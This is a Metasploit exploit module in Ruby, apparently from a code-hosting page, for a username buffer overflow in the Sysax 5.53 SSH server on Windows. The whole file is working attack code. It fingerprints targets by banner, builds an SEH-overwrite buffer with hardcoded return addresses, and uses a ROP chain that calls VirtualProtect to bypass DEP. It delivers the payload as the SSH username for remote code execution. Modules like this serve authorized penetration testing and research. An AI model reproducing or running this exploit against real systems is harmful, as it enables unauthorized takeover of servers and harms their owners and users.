Path: blob/master/modules/exploits/windows/ssh/sysax_ssh_username.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::SSH1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability found in Sysax's SSH service. By18supplying a long username, the SSH server will copy that data on the stack19without proper bounds checking, therefore allowing remote code execution20under the context of the user. Please note that previous versions21(before 5.53) are also affected by this bug.22},23'License' => MSF_LICENSE,24'Author' => [25'Craig Freyman', # Initial discovery, PoC26'sinn3r' # Metasploit27],28'References' => [29['OSVDB', '79689'],30['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],31['EDB', '18535']32],33'Payload' => {34'Space' => 1024,35'BadChars' => "\x00\x3a",36'StackAdjustment' => -350037},38'DefaultOptions' => {39'EXITFUNC' => 'seh'40},41'Platform' => 'win',42'Targets' => [43[44'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',45{46'Rop' => false,47'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe48}49],50[51'Sysax 5.53 on Win2K3 SP1/SP2',52{53'Rop' => true,54'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN55}56]57],58'Privileged' => false,59'DisclosureDate' => '2012-02-27',60'DefaultTarget' => 0,61'Notes' => {62'Reliability' => UNKNOWN_RELIABILITY,63'Stability' => UNKNOWN_STABILITY,64'SideEffects' => UNKNOWN_SIDE_EFFECTS65}66)67)6869register_options(70[ OptInt.new('RPORT', [false, 'The target port', 22]) ]71)72end7374def check75begin76connect77banner = sock.get_once(-1, 5) || ''78disconnect79vprint_status("Banner: #{banner}")80if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)81return Exploit::CheckCode::Appears82end83rescue StandardError84vprint_error('An error has occurred while trying to read a response from target')85return Exploit::CheckCode::Unknown86end8788Exploit::CheckCode::Safe89end9091def generate_regular_exploit92#93# Align the stack to the beginning of the fixed size payload94#95align = "\x54" # PUSH ESP96align << "\x58" # POP EAX97align << "\x04\x08" # ADD AL,0x0898align << "\x8b\x18" # MOV EBX, [EAX]99align << "\x93" # XCHG EAX,EBX100align << "\x66\x2d\x10\x04" # SUB AX,0x361101align << "\x50" # PUSH EAX102align << "\xc3" # RET103104#105# Our payload limited to 1024+4 bytes106#107p = make_nops(4)108p << payload.encoded109110#111# Craft the buffer like this:112# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]113# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room114# for the IP length, so the next 9404-byte space will begin at a consistent place.115# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a116# partial-overwrite to allow a null byte in SEH.117#118buf = ''119buf << rand_text(392, payload_badchars)120buf << rand_text(20, payload_badchars)121buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20122buf << p123buf << align124buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back125buf << [target.ret].pack('V*')126buf127end128129def generate_rop_exploit130junk = rand_text(4).unpack('L')[0].to_i131nop = make_nops(4).unpack('L')[0].to_i132133# !mona rop -m msvcrt134p =135[1360x77bb2563, # POP EAX # RETN1370x77ba1114, # <- *&VirtualProtect()1380x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN139junk,1400x77bb0c86, # XCHG EAX,ESI # RETN1410x77bc9801, # POP EBP # RETN1420x77be2265, # ptr to 'push esp # ret'1430x77bb2563, # POP EAX # RETN1440x03C0990F,1450x77bdd441, # SUB EAX, 03c0940f1460x77bb48d3, # POP EBX, RET1470x77bf21e0, # .data1480x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN1490x77bbfc02, # POP ECX # RETN1500x77bef001, # W pointer (lpOldProtect) (-> ecx)1510x77bd8c04, # POP EDI # RETN1520x77bd8c05, # ROP NOP (-> edi)1530x77bb2563, # POP EAX # RETN1540x03c0984f,1550x77bdd441, # SUB EAX, 03c0940f1560x77bb8285, # XCHG EAX,EDX # RETN1570x77bb2563, # POP EAX # RETN158nop,1590x77be6591, # PUSHAD # ADD AL,0EF # RETN160].pack('V*')161162p << payload.encoded163164#165# Similar buffer structure to generate_regular_exploit166#167buf = ''168buf << rand_text(392, payload_badchars)169buf << rand_text(20, payload_badchars)170buf << rand_text(1012, payload_badchars)171buf << p172buf << rand_text(9204 - buf.length)173buf << rand_text(4, payload_badchars)174buf << [target.ret].pack('V*')175buf176end177178def exploit179#180# Create buffer based on target (DEP or no DEP)181# If possible, we still prefer to use the regular version because it's more stable182#183if target['Rop']184buf = generate_rop_exploit185else186buf = generate_regular_exploit187end188189#190# Send the malicious buffer191#192pass = rand_text_alpha(8)193begin194print_status("Sending malicious request to #{rhost}:#{rport}...")195factory = ssh_socket_factory196ssh = Net::SSH.start(197datastore['RHOST'],198buf,199password: pass,200port: datastore['RPORT'],201timeout: 1,202proxy: factory,203config: false,204non_interactive: true,205verify_host_key: :never206)207208::Timeout.timeout(1) { ssh.close }209rescue Errno::ECONNREFUSED210print_error("Cannot establish a connection on #{rhost}:#{rport}")211return212rescue StandardError => e213if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)214print_error("Please remove #{rhost}:#{rport} from your known_hosts list")215return216end217end218219handler(ssh)220end221end222223224